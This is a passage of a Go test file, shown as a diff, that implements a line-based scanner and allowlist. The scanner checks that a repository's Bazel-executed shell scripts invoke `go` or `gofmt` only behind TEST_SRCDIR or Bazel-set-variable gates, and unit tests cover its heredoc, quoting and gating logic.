+// scripts/repochecks/types_gen_drift_test.sh srcs of repochecks:types_gen_drift_test +// scripts/migration-test/lib/binary.sh data of //tests/migration's +// historical_upgrade_tests and legacy_bridge_test +// scripts/migration-test/historical-dolt-upgrade-test.sh ditto +// scripts/migration-test/legacy-bridge-test.sh ditto +// scripts/migrate-legacy-to-current.sh ditto (//scripts:migration_harness) +// scripts/upgrade-smoke-test.sh data of every upgrade_smoke__test +// sh_test (tests/upgrade_smoke/defs.bzl); IS +// Bazel-executed, unlike what an earlier +// revision of this comment claimed +// scripts/test.sh reached via //:repo_other_files (the +// scripts/** glob) as shell_scripts_test's +// data; test_script_test.go execs it 6 +// times with a fake go/prebuilt-bd driver +// first on PATH +// scripts/conformance.sh ditto; conformance_script_test.go execs +// it 4 times with a fake go on PATH +// scripts/release.sh ditto; release_script_test.go execs it +// with a fake bd first on PATH +// .github/scripts/embedded-test-shard.sh arg of cmd/bd's +// .github/scripts/embedded-storage-test-shard.sh bd_embedded_test/_part2_test, +// .github/scripts/proxied-test-shard.sh embeddeddolt_embedded_test, +// .github/scripts/server-storage-test-shard.sh bd_proxied_test and +// dolt_server_full_test sh_test rules, run via +// tools/bazel/go_test_manifest_shard.sh +// +// Deliberately NOT in scope: scripts/ci/lib/test-env.sh. Its own TEST_SRCDIR +// gate predates this policy and is good practice, but it is not itself wired +// as Bazel test data/srcs/args anywhere -- other scripts `source` it, and +// *their* wiring is what puts it in scope transitively through their own +// scan, not a standalone one for the library file. +// +// scripts/test.sh, scripts/conformance.sh and scripts/release.sh ARE in +// scope: each runs under `bazel test` through the `scripts/**` glob behind +// //:repo_other_files (shell_scripts_test's data), not through an explicit +// per-file label -- test_script_test.go execs test.sh 6 times (with a fake +// `go`/prebuilt-bd driver on PATH), conformance_script_test.go execs +// conformance.sh 4 times (fake `go` on PATH), and release_script_test.go +// execs release.sh with a fake `bd` on PATH. An earlier revision of this +// comment claimed test.sh was only linked-to by //test/docsync and never +// executed, and that conformance.sh had no BUILD.bazel reference at all and +// so was out of policy scope entirely; both claims were wrong (gastownhall/ +// beads#7485 review: "test.sh, conformance.sh and release.sh do run under +// Bazel"). +// +// Detection is line-based, not a real shell parser: a line is scanned unless +// it is a `#` comment, inside a `<<'EOF'`/`<_test. Both always set it. + "CANDIDATE_BIN": true, + // tools/bazel/go_test_manifest_shard.sh's `export "$bin_var=$PWD/$bin"` + // always sets exactly one of these three to an absolute path to a + // declared `data` test binary before exec'ing the matching shard script + // (cmd/bd/BUILD.bazel's bd_embedded_test/_part2_test/bd_proxied_test, + // internal/storage/embeddeddolt/BUILD.bazel's embedded storage sh_test, + // internal/storage/dolt/BUILD.bazel's server storage sh_test). + "BEADS_TEST_CMD_BINARY": true, + "BEADS_TEST_EMBEDDED_TEST_BINARY": true, + "BEADS_TEST_SERVER_TEST_BINARY": true, +} + +// shellAllowlistEntry mirrors host_tool_exec_policy_test.go's +// hostToolAllowlistEntry: keyed by the enclosing function (empty for +// top-level script code, outside any `name() { ... }`/`name() ( ... )`) and +// an exact snippet of the flagged line, not a line number, so the entry +// tracks the code through refactors instead of silently going stale or +// silently covering the wrong line (review point 5). +type shellAllowlistEntry struct { + fn string + snippet string + why string +} + +// shellExecAllowlist is file (repo-relative) -> entries for bare `go`/`gofmt` +// execs that are safe despite findShellHostToolExecs flagging them and +// shellLineGating not proving it structurally -- in every case here the gate +// is a generic `command -v`/PATH-shim precondition a Go test arranges before +// exec'ing the script, not a textual TEST_SRCDIR/shellBazelSetVars check this +// scanner's line-based gate tracker can see. +var shellExecAllowlist = map[string][]shellAllowlistEntry{ + "scripts/ci/gofmt-bin.sh": { + { + fn: "", + snippet: `if [[ "$(go env GOVERSION 2>/dev/null)" == "go$pinned" ]]; then`, + why: "only reached once `command -v go` (above) has already confirmed go is on " + + "PATH; //scripts/prlintmake:prlintmake_test's gofmtbin_test.go exercises every " + + "branch of this script with a real go on PATH", + }, + { + fn: "", + snippet: ` goroot="$(go env GOROOT 2>/dev/null || true)"`, + why: "same `command -v go` gate as the GOVERSION check above", + }, + { + fn: "", + snippet: `elif ! goroot="$(GOTOOLCHAIN="go$pinned" go env GOROOT 2>/dev/null)"; then`, + why: "same `command -v go` gate as the GOVERSION check above", + }, + }, + "scripts/ci/pr-lint.sh": { + { + fn: "", + snippet: `go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint`, + why: "scripts/prlintmake/prlintmake_test.go execs this script directly with a " + + "shim directory (containing a fake `go`) placed first on PATH", + }, + }, + "scripts/check-versions.sh": { + { + fn: "", + snippet: `if ! go build -tags=gms_pure_go -o "$checker" ./scripts/check-versions; then`, + why: "scripts/check-versions/pre_push_hook_test.go execs this script directly " + + "with fakeGoBuildDir(t) (a stand-in `go` that copies the Bazel-built " + + "BEADS_TEST_CHECK_VERSIONS binary instead of compiling from source) first on PATH", + }, + }, + "scripts/test.sh": { + { + fn: "", + snippet: `PREBUILT_BD_BIN="$PREBUILT_BD_DIR/bd$(go env GOEXE)"`, + why: "test_script_test.go execs test.sh with a fake `go` (and a prebuilt-bd " + + "driver copied into place by that fake go's `build` subcommand) first on PATH", + }, + { + fn: "", + snippet: `if go build -o "$PREBUILT_BD_BIN" "$REPO_ROOT/cmd/bd"; then`, + why: "same fake-go-first-on-PATH gate as the GOEXE line above", + }, + { + // fn is "cleanup_shared_server", not "": these two lines are + // top-level script code, textually after that indented, + // nested `cleanup_shared_server() { ... }` definition (around + // test.sh:191-195). findShellHostToolExecs' end-of-function + // detection only recognizes an UNINDENTED closing `}`/`)` (the + // column-0 convention every other in-scope script's functions + // follow); cleanup_shared_server's own closing brace is + // indented, so the scanner never sees this function end and + // attributes every later line in the file to it. Keying this + // entry by that attribution (rather than fixing the shared + // scanner for one nested-function script) keeps this fix + // scoped to what review item 1 asked for. + fn: "cleanup_shared_server", + snippet: `CMD=(go test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -timeout "$TIMEOUT")`, + why: "same fake-go-first-on-PATH gate as the GOEXE line above", + }, + { + fn: "cleanup_shared_server", // see the fn note on the CMD= entry above + snippet: `total=$(go tool cover -func="$COVERPROFILE" | awk '/^total:/ {print $NF}')`, + why: "same fake-go-first-on-PATH gate; test_script_test.go's fake go's `tool` " + + "subcommand (COVERAGE is never requested by the test, so this line only " + + "executes under a real invocation, not under the policy's own harness, but " + + "the fake go sits first on PATH for the whole script run regardless)", + }, + }, + "scripts/conformance.sh": { + { + fn: "", + snippet: `BEADS_TEST_EMBEDDED_DOLT=1 CGO_ENABLED=1 go test -tags "$TAGS" -v \`, + why: "conformance_script_test.go execs conformance.sh with a fake `go` first on PATH", + }, + { + fn: "", + snippet: `CGO_ENABLED=1 go test -tags "$TAGS e2e" -timeout 10m ./test/conformance/`, + why: "same fake-go-first-on-PATH gate as Tier 1 above", + }, + { + fn: "", + snippet: `go test -tags "$TAGS" -timeout=40m ./internal/httpclient/`, + why: "same fake-go-first-on-PATH gate as Tier 1 above", + }, + }, + "scripts/release.sh": { + { + fn: "", + snippet: `BD_CMD=(go run -tags gms_pure_go ./cmd/bd)`, + why: "only reached when none of BD, a `bd` on PATH, or $REPO_ROOT/bd resolves the " + + "repo formula; release_script_test.go's fixtures always place a fake `bd` that " + + "does, on PATH, so this line is never reached by the test's own dataflow", + }, + }, +} + +// shellHostToolVerbs are the `go` subcommands this policy treats as a real +// exec rather than incidental prose (e.g. "go.mod", "go$pinned"). "tool" is +// included for `go tool ` (review point 2). +var shellHostToolVerbs = regexp.MustCompile(`\bgo(?:\s+)(env|build|run|version|vet|mod|install|test|fmt|list|generate|get|work|doc|bug|tool)\b`) + +// shellGofmtExec matches a bare `gofmt` invoked as its own shell word -- +// bounded by whitespace/`;`/`|`/`&`/`(`/“ ` “/line-start/line-end on both +// sides -- so it does not false-positive on an identifier or filename that +// merely contains "gofmt" as a substring, such as "gofmt-bin.sh" or a +// variable named "$GOFMT_BIN" (review point 2's "misses gofmt" plus the +// matching false-positive risk a naive `\bgofmt\b` fix would introduce: that +// pattern alone DOES match inside "gofmt-bin.sh", since `-` is a non-word +// character and `\b` only requires a word/non-word transition). +var shellGofmtExec = regexp.MustCompile("(^|[\\s;|&(`])gofmt([\\s;|&)`]|$)") + +// shellToolLookup matches a `command -v`/`which`/`type` lookup of go or +// gofmt, which is not itself an exec of the tool. +var shellToolLookup = regexp.MustCompile(`\b(command\s+-v|which|type)\s+(go|gofmt)\b`) + +// heredocStart matches a `<<` (optionally `<<-`) redirection naming its +// terminator, with or without quotes: `< 0; j++ { + switch line[j] { + case '(': + depth++ + case ')': + depth-- + } + } + spans = append(spans, [2]int{i, j}) + i = j - 1 + } + return spans +} + +// addNonSubSpans appends the portion(s) of [start,end) that fall outside +// every span in cmdSub to spans, so a command substitution nested inside a +// quoted string is not itself treated as quoted text. +func addNonSubSpans(spans *[][2]int, start, end int, cmdSub [][2]int) { + cur := start + for _, s := range cmdSub { + if s[1] <= cur || s[0] >= end { + continue + } + if s[0] > cur { + *spans = append(*spans, [2]int{cur, s[0]}) + } + if s[1] > cur { + cur = s[1] + } + } + if cur < end { + *spans = append(*spans, [2]int{cur, end}) + } +} + +func insideSpan(spans [][2]int, pos int) bool { + for _, s := range spans { + if pos >= s[0] && pos < s[1] { + return true + } + } + return false +} + +// shellDashC matches a `bash -c`/`sh -c`/`zsh -c` invocation up through the +// opening quote of its command-string argument. +var shellDashC = regexp.MustCompile(`\b(?:bash|sh|zsh)\b(?:\s+-[A-Za-z]+)*\s+-c\s+`) + +// dashCCodeSpans returns the [start,end) span of each quoted command string +// immediately following a bash/sh/zsh -c on line. Unlike an ordinary quoted +// string, this one really executes -- `bash -c 'go build -o out ./cmd/bd'` +// really execs `go build` -- so quotedSpans' default treatment of quoted +// text as message/pattern prose, not a command, must not apply to it (review: +// "bash -c 'go build' regressed" -- an earlier revision of this scanner +// recognized this shape, lost when quotedSpans' quote-aware skip was added). +func dashCCodeSpans(line string) [][2]int { + var spans [][2]int + for _, loc := range shellDashC.FindAllStringIndex(line, -1) { + i := loc[1] + if i >= len(line) { + continue + } + quote := line[i] + if quote != '\'' && quote != '"' { + continue + } + j := i + 1 + for j < len(line) && line[j] != quote { + j++ + } + if j < len(line) { + spans = append(spans, [2]int{i, j + 1}) + } + } + return spans +} + +// quoted reports whether pos lies in a quoted span that is genuinely message +// text, not a bash/sh/zsh -c command string that happens to be quoted +// (dashCCodeSpans overrides quotedSpans for exactly that case). +func quoted(spans, codeSpans [][2]int, pos int) bool { + return insideSpan(spans, pos) && !insideSpan(codeSpans, pos) +} + +// findShellHostToolExecs scans src (one shell script's contents) for bare +// `go `/`gofmt` lines, skipping comments, heredoc bodies, `command -v` +// style lookups, and quoted message/pattern text. It reports every hit +// regardless of any gate or the allowlist -- callers apply those. Each hit +// also records its enclosing function name (empty at top level) and an exact +// snippet of the matched line, for shellExecAllowlist and shellLineGating. +func findShellHostToolExecs(src string) []shellExecHit { + var hits []shellExecHit + lines := strings.Split(src, "\n") + scanner := bufio.NewScanner(strings.NewReader(src)) + lineno := 0 + inHeredoc := false + heredocDelim := "" + currentFn := "" + for scanner.Scan() { + lineno++ + line := scanner.Text() + if inHeredoc { + if strings.TrimSpace(line) == heredocDelim { + inHeredoc = false + } + continue + } + trimmed := strings.TrimSpace(line) + if strings.HasPrefix(trimmed, "#") { + continue + } + if fn, ok := matchFuncStart(trimmed); ok { + currentFn = fn + } else if currentFn != "" && (line == "}" || line == ")") { + // An unindented closing brace/paren alone on a line ends the + // function, mirroring matchFuncStart's own column-0 anchoring: + // every function body line in this policy's scope is indented. + currentFn = "" + } + if m := heredocStart.FindStringSubmatch(line); m != nil { + inHeredoc = true + heredocDelim = m[2] + // The redirection line itself (e.g. `cat >&2 <<'EOF'`) is still + // scanned below; only what follows is heredoc body. + } + spans := quotedSpans(line) + codeSpans := dashCCodeSpans(line) + + for _, m := range shellHostToolVerbs.FindAllStringSubmatchIndex(line, -1) { + if quoted(spans, codeSpans, m[0]) { + continue + } + hits = append(hits, shellExecHit{line: lineno, fn: currentFn, snippet: lines[lineno-1], verb: line[m[2]:m[3]]}) + } + if shellToolLookup.MatchString(line) { + continue + } + for _, m := range shellGofmtExec.FindAllStringSubmatchIndex(line, -1) { + start := strings.Index(line[m[0]:m[1]], "gofmt") + m[0] + if quoted(spans, codeSpans, start) { + continue + } + hits = append(hits, shellExecHit{line: lineno, fn: currentFn, snippet: lines[lineno-1], verb: ""}) + } + } + return hits +} + +// shellFuncStart matches a shell function definition's opening line, either +// style this repo uses: `name() {` or `name() (`. +var shellFuncStart = regexp.MustCompile(`^([A-Za-z_][A-Za-z0-9_]*)\s*\(\)\s*[{(]\s*$`) + +func matchFuncStart(trimmed string) (string, bool) { + m := shellFuncStart.FindStringSubmatch(trimmed) + if m == nil { + return "", false + } + return m[1], true +} + +// condVarCheck matches a condition fragment testing one of TEST_SRCDIR or a +// shellBazelSetVars entry: `-n "${VAR:-...}"`, `-z "${VAR:-...}"`, +// `-x "$VAR"`/`-x "${VAR}"`, or `${VAR:?...}`. It reports the variable name, +// the operator ("-n", "-z" or "-x"; ":?" is normalized to "-n", since a +// required-nonempty substitution has the same "true/reached implies set" +// polarity as an explicit -n check), and whether anything matched. +var condVarCheckN = regexp.MustCompile(`-n\s+"\$\{?(\w+)(:-[^}]*)?\}?"`) +var condVarCheckZ = regexp.MustCompile(`-z\s+"\$\{?(\w+)(:-[^}]*)?\}?"`) +var condVarCheckX = regexp.MustCompile(`-x\s+"\$\{?(\w+)(:-[^}]*)?\}?"`) +var condVarRequired = regexp.MustCompile(`\$\{(\w+):\?`) + +// shellVarAlias matches a simple default-value assignment, `VAR="${OTHER:-...}"` +// or `VAR="${OTHER}"`, the pattern every shellPolicyScope script in this +// policy's scope uses to copy a Bazel-set variable (shellBazelSetVars) into a +// local name before testing it, e.g. .github/scripts/*-test-shard.sh's +// `CMD_BINARY="${BEADS_TEST_CMD_BINARY:-/tmp/bd-cmd-test}"`. +var shellVarAlias = regexp.MustCompile(`^(\w+)=\"\$\{(\w+)(:-[^}]*)?\}\"$`) + +// shellVarAliases returns a map from a script-local variable name to the +// Bazel-set variable name (a shellBazelSetVars key) it was assigned from via +// a `VAR="${BAZEL_VAR:-default}"` default-value assignment, so +// bazelVarPolarity can recognize a later `-x "$VAR"`/`-n "$VAR"` test as +// referring, transitively, to the Bazel-set variable. +func shellVarAliases(src string) map[string]string { + aliases := map[string]string{} + for _, raw := range strings.Split(src, "\n") { + trimmed := strings.TrimSpace(raw) + m := shellVarAlias.FindStringSubmatch(trimmed) + if m == nil { + continue + } + if shellBazelSetVars[m[2]] { + aliases[m[1]] = m[2] + } + } + return aliases +} + +// bazelVarPolarity reports whether cond contains a recognized +// TEST_SRCDIR/shellBazelSetVars check and, if so, whether the condition being +// TRUE implies the script is running under Bazel (bazelWhenTrue), mirroring +// host_tool_exec_policy_test.go's condPolarity. A condition this function +// does not recognize at all (including anything containing `||`, which this +// line-based heuristic does not attempt to reason about) reports matched = +// false, so callers never treat an unrecognized condition as either kind of +// gate. +func bazelVarPolarity(cond string, aliases map[string]string) (bazelWhenTrue bool, matched bool) { + if strings.Contains(cond, "||") { + return false, false + } + isBazelVar := func(name string) bool { + if name == "TEST_SRCDIR" || shellBazelSetVars[name] { + return true + } + return shellBazelSetVars[aliases[name]] + } + if m := condVarRequired.FindStringSubmatch(cond); m != nil && isBazelVar(m[1]) { + return true, true + } + if m := condVarCheckN.FindStringSubmatch(cond); m != nil && isBazelVar(m[1]) { + return true, true + } + if m := condVarCheckX.FindStringSubmatch(cond); m != nil && isBazelVar(m[1]) { + return true, true + } + if m := condVarCheckZ.FindStringSubmatch(cond); m != nil && isBazelVar(m[1]) { + return false, true + } + return false, false +} + +// ifFrame tracks one open if/elif/else block for shellLineGating's per-branch +// containment tracking (review point 1): the shell analogue of +// host_tool_exec_policy_test.go's within()/condPolarity-driven *ast.IfStmt +// walk, done textually over if/then/elif/else/fi keywords instead of an AST. +type ifFrame struct { + matched bool // condVarPolarity recognized this frame's own condition + bodySafe bool // lines directly in this frame's active branch never run under Bazel + thenBazelWhenTrue bool // the (last-set) condition's polarity: true implies under-Bazel + inElse bool + thenHasAbort bool // an abort statement appeared directly in the then-branch +} + +// shellLineGating replaces shellFileIsGated's whole-file, position-agnostic +// TEST_SRCDIR check (review point 1's bug: it exempted an entire file on any +// TEST_SRCDIR mention, anywhere, including in a comment or an unrelated +// branch). It walks src tracking if/elif/else/fi nesting and shell function +// boundaries, and returns the set of line numbers it can prove run only when +// NOT under Bazel -- either because they are lexically inside a branch whose +// condition's truth implies off-Bazel (containment style), or because they +// come after an if-block, in the same function, whose condition implies +// on-Bazel and which unconditionally returns/exits (abort style, the same +// two styles host_tool_exec_policy_test.go's gated() recognizes for Go). +// +// This is deliberately conservative and line-based, not a real shell parser: +// an unrecognized condition (including any `||`) leaves the surrounding code +// ungated rather than guessing, and `elif` is treated as if it reset to a +// fresh `if` rather than ANDing in the negation of earlier branches in the +// same chain (none of this policy's real call sites use elif alongside a +// TEST_SRCDIR/shellBazelSetVars condition, so that simplification does not +// currently cost any precision; a future case that needs it should extend +// this rather than work around it). +func shellLineGating(src string) map[int]bool { + safe := map[int]bool{} + lines := strings.Split(src, "\n") + aliases := shellVarAliases(src) + var stack []*ifFrame + abortSafeFrom := -1 // line after which abort-style safety applies, -1 if none + inFunc := false + for i, raw := range lines { + lineno := i + 1 + trimmed := strings.TrimSpace(raw) + if _, ok := matchFuncStart(trimmed); ok { + stack = nil + abortSafeFrom = -1 + inFunc = true + } else if inFunc && (raw == "}" || raw == ")") { + // An unindented closing brace/paren alone on a line ends the + // function (matchFuncStart's own column-0 anchoring assumes + // every function body line in this policy's scope is indented, + // the same convention findShellHostToolExecs's currentFn + // tracking uses). Without this reset, abort-style safety + // computed inside one function (e.g. upgrade-smoke-test.sh's + // build_candidate) leaked into whatever top-level code follows + // the function, long after it closed (review: "the abort/skip + // gate state isn't reset at function end"). + stack = nil + abortSafeFrom = -1 + inFunc = false + } + switch { + case strings.HasPrefix(trimmed, "if ") || trimmed == "if": + cond := extractCond(trimmed, "if") + bazelWhenTrue, matched := bazelVarPolarity(cond, aliases) + frame := &ifFrame{matched: matched, thenBazelWhenTrue: bazelWhenTrue, bodySafe: matched && !bazelWhenTrue} + stack = append(stack, frame) + case strings.HasPrefix(trimmed, "elif "): + if len(stack) > 0 { + cond := extractCond(trimmed, "elif") + bazelWhenTrue, matched := bazelVarPolarity(cond, aliases) + top := stack[len(stack)-1] + top.matched = matched + top.thenBazelWhenTrue = bazelWhenTrue + top.bodySafe = matched && !bazelWhenTrue + top.thenHasAbort = false + } + case trimmed == "else": + if len(stack) > 0 { + top := stack[len(stack)-1] + top.inElse = true + if top.matched { + top.bodySafe = top.thenBazelWhenTrue + } + } + case trimmed == "fi": + if len(stack) > 0 { + top := stack[len(stack)-1] + stack = stack[:len(stack)-1] + // Abort-style (review point 1/6): if this if-statement's + // then-branch condition implied under-Bazel and the + // then-branch unconditionally aborted, later lines in the + // same function are reached only when that condition was + // false, i.e. only off-Bazel. + if top.matched && top.thenBazelWhenTrue && top.thenHasAbort { + abortSafeFrom = lineno + } + } + } + if isAbortStmt(trimmed) && len(stack) > 0 { + top := stack[len(stack)-1] + if !top.inElse { + top.thenHasAbort = true + } + } + // A line's safety is the OR of every enclosing frame's current + // branch being safe, or lying after a same-function abort. + lineSafe := abortSafeFrom >= 0 && lineno > abortSafeFrom + for _, f := range stack { + if f.bodySafe { + lineSafe = true + } + } + if lineSafe { + safe[lineno] = true + } + } + return safe +} + +var condExtract = regexp.MustCompile(`^(?:if|elif)\s+(.*?)\s*;?\s*then\s*$`) + +// extractCond pulls the condition text out of an `if cond; then` or +// `if cond` line (the `then` may be on the next line, outside this +// function's view; extractCond returns the whole remainder in that case, +// which is fine since bazelVarPolarity only looks for substrings). +func extractCond(trimmed, kw string) string { + if m := condExtract.FindStringSubmatch(trimmed); m != nil { + return m[1] + } + return strings.TrimPrefix(trimmed, kw+" ") +} + +var abortStmt = regexp.MustCompile(`^(return|exit|continue|break)\b`) + +func isAbortStmt(trimmed string) bool { + return abortStmt.MatchString(trimmed) +} + +func shellMatchAllowlist(entries []shellAllowlistEntry, fn, snippet string) bool { + for _, e := range entries { + if e.fn == fn && strings.TrimSpace(e.snippet) == strings.TrimSpace(snippet) { + return true + } + } + return false +} + +func TestShellHostToolExecPolicyScan(t *testing.T) { + t.Run("ungated bare go build is reported", func(t *testing.T) { + src := "#!/usr/bin/env bash\ngo build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one hit at line 2 (build)", hits) + } + if shellLineGating(src)[2] { + t.Fatal("fixture has no gate; line 2 must not be reported safe") + } + }) + + t.Run("go tool is reported (review point 2)", func(t *testing.T) { + src := "#!/usr/bin/env bash\ngo tool nm ./bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].verb != "tool" { + t.Fatalf("got %+v, want one `tool` hit", hits) + } + }) + + t.Run("bare gofmt exec is reported (review point 2)", func(t *testing.T) { + src := "#!/usr/bin/env bash\ngofmt -l .\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 { + t.Fatalf("got %+v, want one gofmt hit", hits) + } + }) + + t.Run("gofmt as a substring of a filename is not reported", func(t *testing.T) { + src := "#!/usr/bin/env bash\nsource scripts/ci/gofmt-bin.sh\nGOFMT_BIN=/tmp/x\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (gofmt-bin.sh/GOFMT_BIN are not a `gofmt` exec)", hits) + } + }) + + t.Run("command -v / which / type lookups are not reported", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if ! command -v go >/dev/null 2>&1; then exit 1; fi\n" + + "which gofmt >/dev/null\n" + + "type go >/dev/null\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (tool-presence lookups, not execs)", hits) + } + }) + + t.Run("comment lines are not scanned", func(t *testing.T) { + src := "#!/usr/bin/env bash\n# go build is mentioned here only in prose\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits", hits) + } + }) + + t.Run("heredoc bodies are not scanned", func(t *testing.T) { + src := "#!/usr/bin/env bash\ncat >&2 <<'EOF'\nrun `go build|test|run` yourself\nEOF\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (heredoc body)", hits) + } + }) + + t.Run("arithmetic left-shift is not mistaken for a heredoc (review point 2)", func(t *testing.T) { + // A bogus heredoc-start match here would swallow the rest of the + // script (including the real `go build` below) as heredoc body. + src := "#!/usr/bin/env bash\nx=$(( 1 << 2 ))\ngo build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 3 { + t.Fatalf("got %+v, want one hit at line 3 (arithmetic shift must not start a heredoc)", hits) + } + }) + + t.Run("a here-string is not mistaken for a heredoc", func(t *testing.T) { + src := "#!/usr/bin/env bash\ncat <<< \"go build fake\"\ngo build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + found3 := false + for _, h := range hits { + if h.line == 3 { + found3 = true + } + } + if !found3 { + t.Fatalf("got %+v, want a hit at line 3 (here-string must not start a heredoc)", hits) + } + }) + + t.Run("printf and echo quoted message text are not scanned", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "printf 'error: unsupported go install module path\\n' >&2\n" + + "echo \"run go version to check\"\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (printf/echo text)", hits) + } + }) + + t.Run("a real exec joined onto an echo line by && is still reported (review point 2)", func(t *testing.T) { + // A line-wide "contains echo" skip (the previous scanner's bug) would + // hide this real second command. + src := "#!/usr/bin/env bash\n" + + "echo \"building\" && go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 { + t.Fatalf("got %+v, want one hit at line 2 (go build after && is a real exec)", hits) + } + }) + + t.Run("git grep search patterns are not scanned", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "git grep -n -E 'go install github\\.com/x/y@latest' -- . || true\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (git grep pattern)", hits) + } + }) + + t.Run("command substitution exec is reported", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + `if [[ "$(go env GOVERSION 2>/dev/null)" == "go1.25" ]]; then` + "\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].verb != "env" { + t.Fatalf("got %+v, want one `env` hit", hits) + } + }) + + t.Run("dolt is never flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\ndolt sql -q 'select 1'\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits (dolt is out of scope; see package comment)", hits) + } + }) + + t.Run("TEST_SRCDIR gates only its own branch, not the whole file (review point 1)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if [[ -z \"${TEST_SRCDIR:-}\" ]]; then\n" + + " go build -o out ./cmd/bd\n" + + "fi\n" + + "go build -o out2 ./cmd/bd\n" + gating := shellLineGating(src) + if !gating[3] { + t.Fatal("line 3 is inside the off-Bazel-only branch; must be reported safe") + } + if gating[5] { + t.Fatal("line 5 is NOT inside any TEST_SRCDIR branch; a whole-file gate would " + + "wrongly report it safe (review point 1's bug)") + } + }) + + t.Run("TEST_SRCDIR-true branch is not safe, its else is", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if [[ -n \"${TEST_SRCDIR:-}\" ]]; then\n" + + " go build -o out ./cmd/bd\n" + + "else\n" + + " go build -o out2 ./cmd/bd\n" + + "fi\n" + gating := shellLineGating(src) + if gating[3] { + t.Fatal("line 3 runs only under Bazel; must not be reported safe") + } + if !gating[5] { + t.Fatal("line 5 runs only off-Bazel (the else of a TEST_SRCDIR-set check); must be safe") + } + }) + + t.Run("abort-style: unset-check that returns makes the rest of the function safe", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "build_candidate() {\n" + + " if [ -n \"${CANDIDATE_BIN:-}\" ] && [ -x \"${CANDIDATE_BIN}\" ]; then\n" + + " echo \"$CANDIDATE_BIN\"\n" + + " return\n" + + " fi\n" + + " go build -o \"$candidate\" ./cmd/bd\n" + + "}\n" + gating := shellLineGating(src) + if !gating[7] { + t.Fatal("line 7 is reached only when CANDIDATE_BIN is unset, i.e. off-Bazel; must be safe") + } + }) + + t.Run("abort-style safety does not leak into the next function (review point 1)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "build_candidate() {\n" + + " if [ -n \"${CANDIDATE_BIN:-}\" ]; then\n" + + " return\n" + + " fi\n" + + " true\n" + + "}\n" + + "other_fn() {\n" + + " go build -o out ./cmd/bd\n" + + "}\n" + if shellLineGating(src)[9] { + t.Fatal("line 9 is in a different function; must not inherit the previous " + + "function's abort-style safety") + } + }) + + t.Run("abort-style safety does not leak into top-level code after the function ends (mutation check, review: upgrade-smoke-test.sh)", func(t *testing.T) { + // The previous test only pinned that a SECOND function doesn't + // inherit the gate (matchFuncStart resets state when a new function + // starts). This pins the bug the review actually found: top-level + // code AFTER a function closes, with no new function definition in + // between, must not inherit abort-style safety computed inside that + // function either -- the shape scripts/upgrade-smoke-test.sh uses + // (a top-level `go build` after build_candidate()). + src := "#!/usr/bin/env bash\n" + + "build_candidate() {\n" + + " if [ -n \"${CANDIDATE_BIN:-}\" ]; then\n" + + " return\n" + + " fi\n" + + " true\n" + + "}\n" + + "go build -o out ./cmd/bd\n" + if shellLineGating(src)[8] { + t.Fatal("line 8 is top-level code after the function closed; must not inherit " + + "build_candidate's abort-style safety") + } + }) + + t.Run("bash -c 'go build' is detected (mutation check, review regression)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "bash -c 'go build -o out ./cmd/bd'\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2: bash -c's quoted argument really "+ + "execs go build, it is not message text", hits) + } + if shellLineGating(src)[2] { + t.Fatal("fixture has no gate; line 2 must not be reported safe") + } + }) + + t.Run("an alias of a Bazel-set var still gates (review point 1, shard-script pattern)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "CMD_BINARY=\"${BEADS_TEST_CMD_BINARY:-/tmp/bd-cmd-test}\"\n" + + "if [ -x \"$CMD_BINARY\" ]; then\n" + + " exec \"$CMD_BINARY\" -test.v\n" + + "else\n" + + " exec go test -tags=gms_pure_go ./cmd/bd/\n" + + "fi\n" + if !shellLineGating(src)[6] { + t.Fatal("line 6 runs only when the Bazel-set BEADS_TEST_CMD_BINARY-derived " + + "binary is missing, i.e. off-Bazel; must be safe") + } + }) + + t.Run("an unrecognized condition is not treated as a gate", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if [ \"$FOO\" = \"1\" ]; then\n" + + " go build -o out ./cmd/bd\n" + + "fi\n" + if shellLineGating(src)[3] { + t.Fatal("an unrelated condition must not be treated as a Bazel gate") + } + }) + + t.Run("a condition with || is not treated as a gate (conservative)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "if [[ -z \"${TEST_SRCDIR:-}\" ]] || [[ -n \"${FORCE_LOCAL:-}\" ]]; then\n" + + " go build -o out ./cmd/bd\n" + + "fi\n" + if shellLineGating(src)[3] { + t.Fatal("a disjunctive condition is not reasoned about; must not be reported safe") + } + }) +} + +// TestNoUngatedBareGoInBazelReachedShellScripts scans shellPolicyScope and 